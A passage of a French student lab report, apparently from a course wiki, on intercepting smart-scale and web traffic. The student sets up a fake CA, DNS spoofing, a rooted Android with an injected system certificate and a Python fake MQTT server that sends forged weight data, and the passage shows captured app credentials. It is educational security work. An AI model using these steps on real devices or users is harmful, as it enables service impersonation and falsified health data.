Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, nous allons tenter d'envoyer un poids à l'application depuis notre serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;br /&gt;
&lt;br /&gt;
On tente donc d'envoyer en clair le poids vers l'application de Nedis&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs situé dans /data/data/com.nedis.smartlife sur la VM android une clé local qui permettrai de chiffrer le message pour que Nedis l'accepte.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
